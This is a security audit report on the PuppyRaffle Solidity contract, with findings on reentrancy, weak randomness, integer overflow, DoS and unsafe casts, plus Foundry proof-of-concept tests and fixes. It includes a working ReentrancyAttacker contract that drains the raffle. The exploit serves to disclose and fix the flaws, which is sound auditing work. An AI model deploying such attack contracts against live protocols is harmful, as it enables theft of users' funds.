Table of contents

See table

    - Issues found

- Findings

    - High

        * [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance.
        * [H-2] Weak randomness in `PuppyRaffe:selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy
        * [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

    - Medium

        * [M-1] Looping through players array to check for duplicate in `PuppyRaffe:enterRaffle` is a potential Denial of Service (DoS) attack, incrementing gas costs for future entrants
        * [M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to self-destruct a contract to send ETH to the raffle, blocking withdrawals
        * [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees
        * [M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

    - Low

        * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have

    - Informational / Non-Critical

        * [I-1] Solidity pragma should be specific, not wide
        * [I-2] Using an outdated version of Solidity is not recommended.
        * [I-3] Missing checks for `address(0)` when assigning values to address state variables
        * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.
        * [I-5] Magic Numbers
        * [I-6] State changes are missing events
        * [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

    - Gas (Optional)

        * [G-1] Unchanged state variables should be desclared constant or immutable.
        * [G-2] Storage variables in a loop should be cached

About Nikos Papadakis

My name is Nikos Papadakis and I am currently learning Solidity/Smart Contracts development on Ethereum. My goal is to become a Full-Stack Web3 developer. I am working with JavaScript, React.js, Next.js, Hardhat, Moralis, TheGraph, IPFS on personal projects and bootcamps. I am also familiar with smart contracts test-driven development with Mocha and Chai frameworks. In the past I had experience in backend Web Development using Java EE.

I am looking for any opportunity to grow my skills, collaborate, and help with anything I have learned so far!

Feel free to contact me (npapadakis@gmail.com) to ask anything.

Disclaimer

Nikos Papadakis team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
src/
-- PuppyRaffle.sol
```

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance.

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interractions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1      function refund(uint256 playerIndex) public {
2          // written-skipped MEV
3          address playerAddress = players[playerIndex];
4          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
5          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
6
7  @>      payable(msg.sender).sendValue(entranceFee);
8  @>      players[playerIndex] = address(0);
9
10         emit RaffleRefunded(playerAddress);
11     }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by malicious participants.

Proof of Concept: 1. User enters the raffle 2. Attacker sets up a contract with a `fallback` funciton that calls `PuppyRaffle::refund` 3. Attacker enters the raffle 4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1      function test_ReentrancyRefund() public {
2          address[] memory players = new address[](4);
3          players[0] = playerOne;
4          players[1] = playerTwo;
5          players[2] = playerThree;
6          players[3] = playerFour;
```

```
7           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9           ReentrancyAttacker attackerContract = new ReentrancyAttacker(
                puppyRaffle);
10          address attackUser = makeAddr("attackUser");
11          vm.deal(attackUser, 1 ether);
12
13          uint256 startingAttackContractBalance = address(
                attackerContract).balance;
14          uint256 startingContractBalance = address(puppyRaffle).balance;
15
16          // attack
17          vm.prank(attackUser);
18          attackerContract.attack{value: entranceFee}();
19
20          console.log("Starting attacker contranct balance: ",
                startingAttackContractBalance);
21          console.log("Starting contranct balance: ",
                startingContractBalance);
22
23          console.log("Ending attacker contranct balance: ", address(
                attackerContract).balance);
24          console.log("Ending contranct balance: ", address(puppyRaffle).
                balance);
25      }
```

And this contract as well.

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3
4      uint256 entranceFee;
5      uint256 attackerIndex;
6
7      constructor(PuppyRaffle _puppyRaffle) {
8          puppyRaffle = _puppyRaffle;
9          entranceFee = puppyRaffle.entranceFee();
10     }
11
12     function attack() external payable {
13         address[] memory players = new address[](1);
14         players[0] = address(this);
15         puppyRaffle.enterRaffle{value: entranceFee}(players);
16
17         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
18
19         puppyRaffle.refund(attackerIndex);
20     }
21
22     function _stealMoney() internal {
```

```
23          if(address(puppyRaffle).balance >= entranceFee) {
24              puppyRaffle.refund(attackerIndex);
25          }
26      }
27
28      fallback() external payable {
29          _stealMoney();
30      }
31
32      receive() external payable {
33          _stealMoney();
34      }
35
36  }
```

Recommended Mitigiations: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1       function refund(uint256 playerIndex) public {
2           // written-skipped MEV
3           address playerAddress = players[playerIndex];
4           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
5           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
6   +       players[playerIndex] = address(0);
7   +       emit RaffleRefunded(playerAddress);
8           payable(msg.sender).sendValue(entranceFee);
9   -       players[playerIndex] = address(0);
10  -       emit RaffleRefunded(playerAddress);
11      }
```

[H-2] Weak randomness in `PuppyRaffe:selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrando here. `block.difficulty` was recently replaced with `prevrandao`.
2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// myVar will be 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code

Place this into the `PuppyRaffleTest.t.sol` file.

```
    function test_OverflowTotalFees() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
```

```
5
6           puppyRaffle.selectWinner();
7           uint256 startingTotalFees = puppyRaffle.totalFees();
8           // starting totalFees = 800000000000000000
9           console.log("Starting totalFees: ", startingTotalFees);
10
11          // We then have 89 players enter a new raffle
12          uint256 playersNum = 89;
13          address[] memory players = new address[](playersNum);
14          for(uint256 i = 0; i < playersNum; i++) {
15              players[i] = address(i);
16          }
17
18          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
19          // We end the raffle
20          vm.warp(block.timestamp + duration + 1);
21          vm.roll(block.number + 1);
22
23          // And here is where the issue occurs
24          // We will now have fewer fees even though we just finished a
                second raffle
25          puppyRaffle.selectWinner();
26
27          uint256 endingTotalFees = puppyRaffle.totalFees();
28          console.log("ending total fees", endingTotalFees);
29          assert(endingTotalFees < startingTotalFees);
30
31          // We are also unable to withdraw any fees because of the
                require check
32          vm.prank(puppyRaffle.feeAddress());
33          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
34          puppyRaffle.withdrawFees();
35
36      }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
1 - uint64 public totalFees = 0;
```

```
2 + uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping through players array to check for duplicate in `PuppyRaffe:enterRaffle` is a potential Denial of Service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffe:enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffe:players` array is. the more checks a new player will have to make. This means the gas cost for players who enter right when the raffle starts, will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1 // @audit DoS Attack
2         for (uint256 i = 0; i < players.length - 1; i++) {
3             for (uint256 j = i + 1; j < players.length; j++) {
4                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
5             }
6         }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffe:enterRaffle` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138 gas

This is more that 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
    function test_DoS() public {
        vm.txGasPrice(1);
        // Let's enter 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);

        for(uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);

        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;

        console.log("Gas cost of the first 100 players: ", gasUsedFirst
            );

        // Now the 2nd 100 players
        address[] memory playersTwo = new address[](playersNum);

        for(uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum); // 0, 1, 2 -> 100,
                101, 102
        }

        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersTwo);

        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
            gasprice;

        console.log("Gas cost of the second 100 players: ",
            gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigiations: There are a few recommendations. 1. Consider allowing duplicates. Users can make a new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address. 2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
```

```
3       .
4       .
5       .
6       function enterRaffle(address[] memory newPlayers) public payable {
7           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
8           for (uint256 i = 0; i < newPlayers.length; i++) {
9               players.push(newPlayers[i]);
10  +            addressToRaffleId[newPlayers[i]] = raffleId;
11          }
12
13  -        // Check for duplicates
14  +       // Check for duplicates only from the new players
15  +       for (uint256 i = 0; i < newPlayers.length; i++) {
16  +          require(addressToRaffleId[newPlayers[i]] != raffleId, "
        PuppyRaffle: Duplicate player");
17  +       }
18  -        for (uint256 i = 0; i < players.length; i++) {
19  -            for (uint256 j = i + 1; j < players.length; j++) {
20  -                require(players[i] != players[j], "PuppyRaffle:
        Duplicate player");
21  -            }
22  -        }
23          emit RaffleEnter(newPlayers);
24      }
25  .
26  .
27  .
28      function selectWinner() external {
29  +       raffleId = raffleId + 1;
30          require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1       function withdrawFees() external {
2   @>      require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
3           uint256 feesToWithdraw = totalFees;
```

```
4           totalFees = 0;
5           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6           require(success, "PuppyRaffle: Failed to withdraw fees");
7       }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1       function withdrawFees() external {
2   -       require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
3           uint256 feesToWithdraw = totalFees;
4           totalFees = 0;
5           (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6           require(success, "PuppyRaffle: Failed to withdraw fees");
7       }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1       function selectWinner() external {
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9   @>      totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
```

```
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have

not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1     function getActivePlayerIndex(address player) external view returns
          (uint256) {
2         for (uint256 i = 0; i < players.length; i++) {
3             if (players[i] == player) {
4                 return i;
5             }
6         }
7         // @audit if the player is at index 0 it will return 0 and a
              player might think they are not active
8         return 0;
```

```
9       }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept: 1. User enters the raffle, they are the first entrant 2. `PuppyRaffle::getActivePlayersIndex` returns 0 3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigiations: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+       uint256 playerLength = players.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+        for (uint256 i = 0; i < playerLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playerLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Informational / Non-Critical

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended.

Please use a newer version like `0.8.18`

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement. Recommendation

Recomendaton Deploy with any of the following Solidity versions:

```
`0.8.18`
```

The recommendations take into account: Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Plaease see slither documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 71

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 189

```
        previousWinner = winner;    // E: vanity, doesn't matter
            much
```

- Found in src/PuppyRaffle.sol Line: 216

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-     (bool success,) = winner.call{value: prizePool}("");
-     require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
      _safeMint(winner, tokenId);
+     (bool success,) = winner.call{value: prizePool}("");
+     require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] Magic Numbers

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called "magic numbers".

Recommended Mitigation: Replace all magic numbers with constants.

```
+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant TOTAL_PERCENTAGE = 100;
.
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
         uint256 prizePool = (totalAmountCollected *
            PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
         uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
            TOTAL_PERCENTAGE;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Gas (Optional)

[G-1] Unchanged state variables should be desclared constant or immutable.

Reading from storage is much more expensive than rading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached
